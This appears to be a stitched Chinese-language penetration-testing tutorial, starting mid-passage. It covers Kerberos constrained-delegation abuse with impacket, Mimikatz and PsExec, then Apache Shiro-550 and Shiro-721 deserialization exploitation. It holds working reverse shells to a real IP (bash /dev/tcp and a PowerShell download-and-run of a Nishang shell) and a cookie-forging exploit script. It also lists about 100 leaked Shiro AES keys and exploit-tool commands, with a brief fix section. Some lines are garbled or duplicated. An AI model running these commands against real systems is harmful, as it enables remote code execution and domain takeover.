-force-forwardable执行:命令成功输出:Service ticket from S4U2self flags: 00000000101000010000000000000000Service ticket from S4U2self is not forwardableForcing the service ticket to be forwardableService ticket flags after modification: 01000000101000010000000000000000Service ticket from S4U2self now is forwardable通过包含-force-forwardable标志,该漏洞利用会自动执行,并将从S4U2self交换接收的服务票据转换为可转发票据。这是通过使用Service1的哈希值解密票据,将标志值中的第二位从0更改为1,然后重新加密票据。此可转发票据在S4U2proxy交换中发送,Service2作为User2的服务票证被返回并写入到User2.ccache的磁盘上。接下来,将使用Mimikatz将服务票据加载到票据缓存中以供使用。加载后,将看到Mimikatz确认这是User2访问Service2的cifs服务的有效票据。命令:.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit或者执行:将服务票据添加到缓存后,现在就可以像访问User2一样访问Service2了。我们拥有User2在Service2上的所有权限。我们将使用Mark Russinovich的PSExec在Service2服务器上获取PowerShell会话,并运行一些命令。这是攻击路径的最后一步。命令:ls \\service2.test.local\c$.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exewhoamihostname执行:0x03 示例攻击21.环境配置我们将继续使用上一个示例中的环境,并进行一些修改。目标User2帐户可以保留其配置为“受保护的用户”成员的身份,或使用“帐户敏感且无法委派”属性来保持其配置首先,删除Service1的委派权限。连接到DC并使用“不信任此计算机进行委派”配置Service1 编辑Service2计算机对象,授予User1写入权限。当我们直接向User1用户授予权限时,用户通常将通过特权组的成员身份获得对一个或多个AD对象的写权限。用户不一定需要是域管理员。2.执行攻击退出域控制器,并以User1身份登录Service1服务器。以获取初始攻击据点(攻击路径中的第1步)。如果从第一个示例中继续攻击,确保清除本地Kerberos票据缓存。清除缓存的最有效方法就是重新启动Service1。与前面的示例不同,此攻击不会利用Service1和Service2之间的任何委派信任关系。在将Service1配置为“不信任此计算机进行委派(Do trust This computer for delegation)”后,此信任关系不再存在。我们需要与Service2建立一个新的委派关系,这次是一个全新的服务。为了在环境中创建新服务,我们将使用Kevin Robertson的Powermad创建一个新的计算机帐户。这不需要提升账号的权限,默认情况下,域中的任何用户都可以使用。我们将计算机帐户命名为“AttackerService”,并提供一个任意密码如:“AttackerServicePassword”命令:Import-Module .\Powermad\powermad.ps1New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)执行:由于我们选择了新机器帐户的密码,因此我们可以使用Mimikatz轻松计算出相应的密码哈希。这将完成攻击路径的步骤2。命令:.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit执行:让我们使用PowerShell Active Directory模块检查我们新创建的机器帐户。由于该模块尚不可用,因此我们将安装相应的功能,导入该模块,然后检查我们新创建的计算机帐户。命令:Install-WindowsFeature RSAT-AD-PowerShellImport-Module ActiveDirectoryGet-ADComputer AttackerService执行:在确认机器帐户的存在后,我们可以在Service2和AttackerService之间建立受约束的委派信任关系。因为User1(我们的受控立足点帐户)对Service2对象具有写权限,所以我们可以将AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。这将在Service2上建立基于资源的约束委派,从AttackerService接受约束委派。完成此步骤后,我们就满足了攻击路径第3步的条件。命令:Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount执行:我们准备继续执行攻击路径的第4步并执行漏洞利用。我们将使用与上一个示例相同的命令,但是这次指定AttackerService而不是Service1,并且使用Mimikatz计算哈希值。当在命令中包含-force-forwardable标志时,我们将看到与上一个示例相同的结果。执行漏洞利用,设置可转发标志,并将作为User2的Service2的服务票证写入到User2.ccache的磁盘上。命令:python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$执行:现在,我们可以简单地重复前面例子中的最后命令。通过使用Mimikatz将服务票据加载到我们的本地Kerberos票据缓存中,我们将为攻击路径的第5步做准备。然后,我们将通过与Service2进行交互(模拟User2)来执行步骤5命令:.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Nullls \\service2.test.local\c$.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exewhoamihostname执行:
  13. 0x00 漏洞描述Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。0x01 影响版本Apache Shiro <= 1.2.40x02 漏洞原理Apache Shiro框架提供了记住我的功能(RememberMe),关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。用户登陆成功后会生成经过加密并编码的cookie。Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞在服务端接收cookie值时,按照如下步骤来解析处理: 1、检索RememberMe cookie 的值 2、Base 64解码 3、使用AES解密(加密密钥硬编码) 4、进行反序列化操作(未作过滤处理) 但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞0x03 漏洞原因大概意思是,shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是Remember Me的内容进行一系列处理: 使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容 同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为: Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化 问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。 0x04 漏洞利用条件由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。0x05 漏洞搜索关键字fofa的搜索关键词:header="rememberme=deleteMe"github搜索关键词:securityManager.rememberMeManager.cipherKey cookieRememberMeManager.setCipherKey setCipherKey(Base64.decode0x06 漏洞特征shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段0x07 环境搭建1.下载镜像 docker pull medicean/vulapps:s_shiro_1 2.直接运行镜像,将docker的8080端口映射到本地的 8080上: docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 3.访问地址:http://149.28.94.72:8080/,可以看到环境被成功搭建 或者:https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437 docker-compose up -d服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录0x08 漏洞复现一、最基本方式复现利用复现1.ysoserial-0.0.6-SNAPSHOT-all.jar文件下载:root@shiro:~/Shiro_exploit# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar 2.访问漏洞靶场,并使用burp对其抓包,输入正确的用户名和密码,勾选Remember Me选项。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段。3.对登录的页面进行抓包4.抓到包发送到repeater,重放即可看到cookie中包含rememberMe=deleteMe字段 5.然后在攻击机执行以下命令:(通过 ysoserial中的JRMP监听模块,监听 1086 端口并执行反弹shell命令) java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令” 注:payloads/JRMPClient 是结合 exploit/JRMPListener 使用的; JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload; payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的。然后我们来构造payload来进行反弹shell的操作,写好bash反弹shell的命令 bash -i >& /dev/tcp/149.28.94.72/2222 0>&1 然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html) bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i} 注:为什么要对反弹shell进行编码?在exec()函数中,">"管道符是没有意义的,会被解析为其他的意义,而我们的反弹shell命令中又必须使用,所以需要编码。另外,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西 ls "My Directory"将被解释为ls '"My' 'Directory"'6.最终在攻击机上执行的命令如下:java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}” 7.使用shiro.py生成payload,需要python2的环境,使用Shiro内置的默认密钥对Payload进行加密:shiro.py: import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())8.对目标靶机进行payload加密处理root@shiro:~/Shiro_exploit# python shiro.py 149.28.94.72:1099 //攻击机的ip地址和java监听端口,shiro.py需要和ysoserial.jar放在同一个目录下。rememberMe=Js0Jb6NWTG6O1ZvE0Y6L2cXY9xbf/F6SGZHcoL11yHyKy3gRXdgGRmS3XUUCdq+mPLOc6WzlFpEqdpm+o1RS3fN8N2JWzDI7XI4zZLcI3V3SVhasOqoYX6Eb5s7AQLHePx6T7p8s5XTa5/pdny+bHGLoFJnCR8fa9P1VkcUAdvNuEEfEd4K+zYzSEmVDMdvgCLEx4FZ4zME52g+zGaMfn+L3FcXIy397e+L8FFHoMIayzxnl6D/17Z5hJdlx97xrqB31ZbdoIryiP1VmzDoqgP6ZEfewtH8k9bWyT5ZrSNwOe7FhcNxsrscTD+cboMqt5NUWNH9Jz4pk4VeHyMuAZaZ3TVb9ebfBThYnXvSHTwsEKlTp8sGPsCsKbbMCFKL3Q6qR+ri+15FozlEAsfvliA==9.然后在攻击机上监听2222端口,等待shell反弹10.将生成的remeberMe值添加到cookie字段内的jessionid后边,用分号隔开添加刚生成的payload,然后将数据包放行 11.数据包发送之后查看攻击机中java监听接口和nc监听端口结果显示如下图 二、Shiro_exploit脚本利用复现1.使用Shiro_exploit的poc对目标靶机key的爆破检查root@shiro:~/Shiro_exploit# python3 shiro_exploit.py -u http://149.28.94.72:8080 2.使用Shiro_exploit的poc执行反弹shell root@shiro:~# git clone https://github.com/insightglacier/Shiro_exploit.gitroot@shiro:~/Shiro_exploit# pip3 install pycryptodomepython3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}"nc -lvvp 22223.使用Shiro_exploit的poc进行在目标靶机创建文件python3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p "touch test.txt" 成功在服务器创建a.txt文件 4.使用Shiro_exploit的poc检测可用gadget的方式python3 shiro_exploit.py -u http://149.28.94.72:8080 -t 3 -p "ping -c 2 1m054t.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA==" dnslog上会看到请求的域名,证明漏洞存在 三、ShiroExploit图形化工具利用复现https://github.com/feihong-cs/ShiroExploitShiro550无需提供rememberMe Cooki 攻击机执行:(可以看到成功反弹shell)nc -lvvp 3333 四、ShiroScan脚本利用复现使用ShiroScan脚本对漏洞进行检查root@shiro:~# git clone https://github.com/sv3nbeast/ShiroScan.gitroot@shiro:~#pip3 install -r requirments.txtroot@shiro:~/ShiroScan# python3 shiro_rce.py http://149.28.94.72:8080/ "ping ijinvv.dnslog.cn" 五、shiro_crack.py 脚本利用复现1.爆破模块漏洞检查 git clone https://github.com/bkfish/Awesome_shiropython3 shiro_crack.py http://149.28.94.72:8080/ m55a3c.dnslog.cn #需要结合http://dnslog.cn 成功后查看记录,记录格式为 {{key}}.{{module}}.dnslogurl kPH.bIxk5D2deZiIxcaaaA.CommonsCollections2.m55a3c.dnslog.cn 可知成功的key为kPH.bIxk5D2deZiIxcaaaA==,模块为CommonsBeanutils2 因为key中包含==/+等符号. 其实网上有很多爆破模块和key的工具,但是爆破成功后一般只是打通,并不知道模块和key是什么,因为对于无回显的rce,无论通没通,响应码均为200。 本项目通过爆破模块和key结合dnslog间接获取成功的key和模块,原理即为DNSlog的内涵,Dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。2.shiro_getshell 反弹shellroot@shiro:~/Awesome_shiro/shiro_getshell# python3 shiro_getshell.py -u http://149.28.94.72:8080 -lh 149.28.94.72 -lp 3333root@shiro:~# nc -lvvp 33333.批量检查根据请求头,响应头做一个简单的测试-将有shiro的网站丢到shiro.txt中六、ShiroScan图像化工具利用复现https://github.com/fupinglee/ShiroScan1.漏洞检查2.RCE命令执行 经测试只有commonscollections8和commonscollections2可以执行命令 3.附上默认的100key(可复制到检查key中)kPH+bIxk5D2deZiIxcaaaA==4AvVhmFLUs0KTA3Kprsdag==Z3VucwAAAAAAAAAAAAAAAA==fCq+/xW488hMTCD+cmJ3aQ==0AvVhmFLUs0KTA3Kprsdag==1AvVhdsgUs0FSA3SDFAdag==1QWLxg+NYmxraMoxAXu/Iw==25BsmdYwjnfcWmnhAciDDg==2AvVhdsgUs0FSA3SDFAdag==3AvVhmFLUs0KTA3Kprsdag==3JvYhmBLUs0ETA5Kprsdag==r0e3c16IdVkouZgk1TKVMg==5aaC5qKm5oqA5pyvAAAAAA==5AvVhmFLUs0KTA3Kprsdag==6AvVhmFLUs0KTA3Kprsdag==6NfXkC7YVCV5DASIrEm1Rg==6ZmI6I2j5Y+R5aSn5ZOlAA==cmVtZW1iZXJNZQAAAAAAAA==7AvVhmFLUs0KTA3Kprsdag==8AvVhmFLUs0KTA3Kprsdag==8BvVhmFLUs0KTA3Kprsdag==9AvVhmFLUs0KTA3Kprsdag==OUHYQzxQ/W9e/UjiAGu6rg==a3dvbmcAAAAAAAAAAAAAAA==aU1pcmFjbGVpTWlyYWNsZQ==bWljcm9zAAAAAAAAAAAAAA==bWluZS1hc3NldC1rZXk6QQ==bXRvbnMAAAAAAAAAAAAAAA==ZUdsaGJuSmxibVI2ZHc9PQ==wGiHplamyXlVB11UXWol8g==U3ByaW5nQmxhZGUAAAAAAA==MTIzNDU2Nzg5MGFiY2RlZg==L7RioUULEFhRyxM7a2R/Yg==a2VlcE9uR29pbmdBbmRGaQ==WcfHGU25gNnTxTlmJMeSpw==OY//C4rhfwNxCQAQCrQQ1Q==5J7bIJIV0LQSN3c9LPitBQ==f/SY5TIve5WWzT4aQlABJA==bya2HkYo57u6fWh5theAWw==WuB+y2gcHRnY2Lg9+Aqmqg==kPv59vyqzj00x11LXJZTjJ2UHW48jzHN3qDVdLawoIr1xFd6ietnwg==ZWvohmPdUsAWT3=KpPqdaYI1+nBV//m7ELrIyDHm6DQ==6Zm+6I2j5Y+R5aS+5ZOlAA==2A2V+RFLUs+eTA3Kpr+dag==6ZmI6I2j3Y+R1aSn5BOlAA==SkZpbmFsQmxhZGUAAAAAAA==2cVtiE83c4lIrELJwKGJUw==fsHspZw/92PrS3XrPW+vxw==XTx6CKLo/SdSgub+OPHSrw==sHdIjUN6tzhl8xZMG3ULCQ==O4pdf+7e+mZe8NyxMTPJmQ==HWrBltGvEZc14h9VpMvZWw==rPNqM6uKFCyaL10AK51UkQ==Y1JxNSPXVwMkyvES/kJGeQ==lT2UvDUmQwewm6mMoiw4Ig==MPdCMZ9urzEA50JDlDYYDg==xVmmoltfpb8tTceuT5R7Bw==c+3hFGPjbgzGdrC+MHgoRQ==ClLk69oNcA3m+s0jIMIkpg==Bf7MfkNR0axGGptozrebag==1tC/xrDYs8ey+sa3emtiYw==ZmFsYWRvLnh5ei5zaGlybw==cGhyYWNrY3RmREUhfiMkZA==IduElDUpDDXE677ZkhhKnQ==yeAAo1E8BOeAYfBlm4NG9Q==cGljYXMAAAAAAAAAAAAAAA==2itfW92XazYRi5ltW0M2yA==XgGkgqGqYrix9lI6vxcrRw==ertVhmFLUs0KTA3Kprsdag==5AvVhmFLUS0ATA4Kprsdag==s0KTA3mFLUprK4AvVhsdag==hBlzKg78ajaZuTE0VLzDDg==9FvVhtFLUs0KnA3Kprsdyg==d2ViUmVtZW1iZXJNZUtleQ==yNeUgSzL/CfiWw1GALg6Ag==NGk/3cQ6F5/UNPRh8LpMIg==4BvVhmFLUs0KTA3Kprsdag==MzVeSkYyWTI2OFVLZjRzZg==CrownKey==a12d/dakdadempodDEyMwAAAAAAAAAAAA==A7UzJgh1+EWj5oBFi+mSgw==YTM0NZomIzI2OTsmIzM0NTueYQ==c2hpcm9fYmF0aXMzMgAAAA==i45FVt72K2kLgvFrJtoZRw==U3BAbW5nQmxhZGUAAAAAAA==ZnJlc2h6Y24xMjM0NTY3OA==Jt3C93kMR9D5e8QzwfsiMw==MTIzNDU2NzgxMjM0NTY3OA==vXP33AonIp9bFwGl7aT7rA==V2hhdCBUaGUgSGVsbAAAAA==Z3h6eWd4enklMjElMjElMjE=Q01TX0JGTFlLRVlfMjAxOQ==ZAvph3dsQs0FSL3SDFAdag==Is9zJ3pzNh2cgTHB4ua3+Q==NsZXjXVklWPZwOfkvk6kUA==GAevYnznvgNCURavBhCr1w==66v1O8keKNV3TTcGPK1wzg==SDKOLKn2J1j/2BHjeZwAoQ== 八、shiro_tool命令行工具利用复现https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip root@shiro:~/shiro_tool# java -jar shiro_tool.jar http://149.28.94.72:8080 选择1然后输入命令:curl 7dxz8d.dnslog.cn bash=bash -i >& /dev/tcp/149.28.94.72/2222 0>&1 输入命令:output=on #开启执行远程命令输入命令:x=whoami #可执行系统命令0x09 漏洞插件检查https://github.com/Daybr4ak/ShiroScan(burp插件Shiroscan) 或者通过bupusit抓取关键cookie值:rememberMe=deleteMe 0x10 漏洞修复1.升级Shiro到最新版2.如果在配置里配置了密钥, 那么请一定不要使用网上的密钥, 一定不要! ! 请自己base64一个AES的密钥, 或者利用官方提供的方法生成密钥: org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().public class GenerateCipherKey { /** * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int) * @return */ public static byte[] generateNewKey() { KeyGenerator kg; try { kg = KeyGenerator.getInstance("AES"); } catch (NoSuchAlgorithmException var5) { String msg = "Unable to acquire AES algorithm. This is required to function."; throw new IllegalStateException(msg, var5); } kg.init(128); SecretKey key = kg.generateKey(); byte[] encoded = key.getEncoded(); return encoded; }} 3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上4.WAF拦截Cookie中长度过大的rememberMe值0x11 漏洞总结测试时, 首先需要对网站基本信息有一个收集, 要知道它是什么系统, linux与windows反弹shell的命令不同 : 1.linux(需要编码处理): bash -i >& /dev/tcp/149.28.94.72/2222 0>&12.windwos(不需要编码处理): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 149.28.94.72 -port 22223.响应包中出现<rememberMe=deleteMe>可以用来大概判断是否使用了Shiro.4.关于反弹shell命令, 如果不编码会命令执行失败. 简单说就是反弹shell的命令中包含一些特殊的符号, 在进行反序列化的时候会导致命令无法正常解析5.测试时, 最好先使用ping命令和dnlslog用来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执行失败, 影响判断.6.关于利用模块的选择,可以对CommonsCollections1, CommonsCollections3, CommonsCollections5分别挨过测试,也可以利用图形化工具来判断选择哪个利用模块
  14. 0x00 漏洞介绍 Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。0x01 影响版本Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1版本。0x02 漏洞指纹1.set-Cookie: rememberMe=deleteMe 2.URL中有shiro字样 3.有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可0x03 利用技巧1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ;2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。0x04 漏洞原理由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。0x04 环境搭建1.利用docker搭建环境一:root@backlion-virtual-machine:/opt# docker pull vulfocus/shiro-cve_2016_4437 root@backlion-virtual-machine:/opt#docker ps root@backlion-virtual-machine:/opt#docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.14 be60cf0b77042.利用dokcer 搭建环境二:复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8git下载shiro-720到本地环境git clone https://github.com/3ndz/Shiro-721.git对shiro-720进行编译cd Shiro-721/Dockerdocker build -t shiro-721 .启动dokcer并将端口8080映射到主机端口8080上docker run -p 8080:8080 -d shiro-721 查看是否搭建成功docker ps 3.通过自行编译1.4.1war 包放入tomcat容器中运行安装mavenwget https://downloads.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gztar zxvf apache-maven-3.6.3-bin.tar.gz -C /usr/localvi /etc/profileexport MAVEN_HOME=/usr/local/apache-maven-3.6.3export PATH=$MAVEN_HOME/bin:$PATH source /etc/profilemvn -v vim /usr/local/apache-maven-3.6.3/conf/settings.xml 找到mirrors节点添加阿里镜像库地址:<mirrors> <mirror> <id>alimaven</id> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/groups/public/</url> <mirrorOf>central</mirrorOf> </mirror> </mirrors>可从 Apache Shiro Gtihub 官方仓库自行下载漏洞影响版本(https://github.com/apache/shiro),使用 Apache Maven(软件项目管理及自动构建工具) 编译构建生成 war Java 应用程序包。git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.4.1mvn install以下几项执行完成以后即可暂停,进而编译 samples/web 下的即可。[INFO] Apache Shiro ....................................... SUCCESS [ 1.630 s][INFO] Apache Shiro :: Core ............................... SUCCESS [ 46.175 s][INFO] Apache Shiro :: Web ................................ SUCCESS [ 3.571 s]cd samples/webmvn install将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中)拷贝到 Tomcat 的 webapps 目录下,启动tomcat即可。这里已编号war包:https://github.com/backlion/demo/blob/master/samples-web-1.4.1.war将war包拷贝到docker tomcat容器中的webasps目录下之后打开http://192.168.1.9:8080/samples-web-1.4.1/ 复现步骤:输入正确的用户名和密码登录网站(勾选Remember),并从cookie中获取RememberMe值。使用RememberMe cookie作为Padding Oracle Attack的前缀。加密ysoserial的序列化有效负载,以通过Padding Oracle Attack制作精心制作的RememberMe。请求带有新的RememberMe cookie的网站,以执行反序列化攻击。攻击者无需知道RememberMe加密的密码密钥。0x05 漏洞复现:一.漏洞利用复现011.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me): (1) 认证失败时(输入错误的用户名和密码),http响应页面中会显示出deleteMe的cookie: (2) 认证成功(输入正确的用户名和密码登录),http响应页面中不会显示deleteMe的cookie: 根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影响反序列化结果),此时会有两中情况: 构造的数据不能通过字符填充验证,返回deleteme;构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.2.这里输入正确的用户名和密码,并勾选Remeber ME。3.登录成功后,访问http://192.168.1.14:8080/account/,并通过burp对其进行抓包,得到Cookie中的rememberMe值 4.使用Java反序列化工具 ysoserial 生成 Payload:root@kali:/opt# java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections1 'touch /tmp/test' > payload.class #这里可以生成在目标靶机中创建/tmp/test的payload5.通过git对其padding oracle attack poc进行下载git clone https://github.com/wuppp/shiro_rce_exp.git6. 通过 Padding Oracle Attack 生成 Evil Rememberme cookie: 注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(如: ping 、 touch /tmp/test等),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。 root@kali:/opt# cp payload.class shiro_rce_exp/root@kali:/opt# cd shiro_rce_exp/root@kali:/opt# python shiro_exp.py http://192.168.1.14:8080/account/ HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77 payload.class rememberMe cookies:Sr3FrVSmz48Tz+k5ZQxUbvAoyEOxk73bEOKUZgvK/W4U8sTEwzhUiU5YwS5HLZb5qe40REONqDBiDxiDz53NCLz7Xz57yorDiuvzRzfosivcjVjhSBfqcRGGRzEoaUGoI7LDb1Cn9pJIz/1xoyL5AcX05T2tfOwpY9u1crUWM28Xh5bY+Us50UQe7mrrDRAhefjETO7VudSkBpf7+KPVmbvPilkMuF153B/YjoAs1qQPDv2bBfS+H9BxILf4vRbhWmVLZnq/mj0t4d3MPhLV6vrtGCp0OjLFvDkPz5MlEk1uAlJjM5YZebvFR2Akei7YI4Xz0pWBs1j7cvq6f5J++ysiPC/lHtWgTY7WLcTTxxJXcGOGPT9N4KZAwpqCjQQbgm4fWGxaci778eWkTWbxqRS7nmfy/UX4P1trwloHdJhB69Pu7qorHUalpDR0YcWbiBc/VuAvOhoutKCW0LjQOjKyJsGj/6nMKTJ98ZG2sG52R5OHp7ELaB7BK+xn4v8e7KNlcCq41VMQyz++qFtDCvSB8kCfgPETF39eEVB4s2ZLwr0OQBViaeszAUIsJjCkaxYADnlt2Sy9wQ8OwSx05VdcuCWjD1q+WjWFePOoQIAxCQiJmHN8G+f609Hj4GlmNYDGsOVIl7J+JWt2ri4HEICHxeflP6e+ALb/UEYGxvRHs11VCNf35usHwyxEFD3VKGFYZ86StRK7czORGSv6jRBjOu3LsWfoHEEElQRQ8CZpSfaPahuKhrkZeVKpQ+14tllU6NtPrM64ytCTr0kXlcLJCAZF8YEy6/iYwFyVVbymNrUoE1nAF3RgzZU8WMvy/yJzFQZm87Lod50r66EC+Y2BANo2rGmo02gQIif/M8SHWXakKp6hnO9iTK37JuSRp4XakH2HubjsfvZtN8KNaAGKIGAxCMRt8w4/duMZHKrKnmoxd9CiGUHjbgj1oP29Fz3OHnqah7sZjHbAw5QZuh+6pgbkb+U9WikFQjISbsJzBm+3MRt0hN2rnbjMvBJmo6Z+FuUZYQNmLo93pDflsYhvYaKcL8Ji3KIcU1v/zC4shbe2WS1CojtV9fNAnJ8rO9cHXC4pfGkbIe1ZLckSS3JWwMtC34X+D+JVuNl6v+03sWvAjCIEoOxL5s0+kqq7QD0B9te7n47UqaAoyH6Ok6O+sTz21zp8W2oDg